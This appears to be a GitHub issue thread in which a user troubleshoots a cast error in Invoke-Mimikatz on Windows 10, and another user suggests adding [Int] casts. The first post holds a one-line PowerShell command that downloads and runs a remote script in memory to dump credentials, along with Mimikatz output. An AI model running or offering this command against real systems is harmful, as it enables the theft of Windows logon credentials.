Specified cast is not valid

[CryneOnGithub]

When I try to run Mimikatz, I always get the exception "Specified cast is not valid"

At line:2203 char:7 \+ if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... \+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], InvalidCastException + FullyQualifiedErrorId : System.InvalidCastException

At Line:2261 char:7 \+ if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... \+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], InvalidCastException + FullyQualifiedErrorId : System.InvalidCastException

Im executing invoke-mimikatz with the command powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -Du mpCreds”

in an Administrator powershell, which is Version Major: 5, Minor: 1, Build: 16299, Revision: 98

My OS is Microsoft Windows 10 Home
Version 10.0.16299 Build 16299

After the Errors Mimikatz still executes, but cant extract the credentials, the output is

`mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(powershell) # exit
Bye!`

with Mimikatz Version "mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)"
I downloaded the invoke-mimikatz script at 14. April 2018

My antivirus is completely disabled

[davehouser1]

I found this post, adding the [Int] in those two spots fixed the issue for me:

PowerShellMafia/PowerSploit#152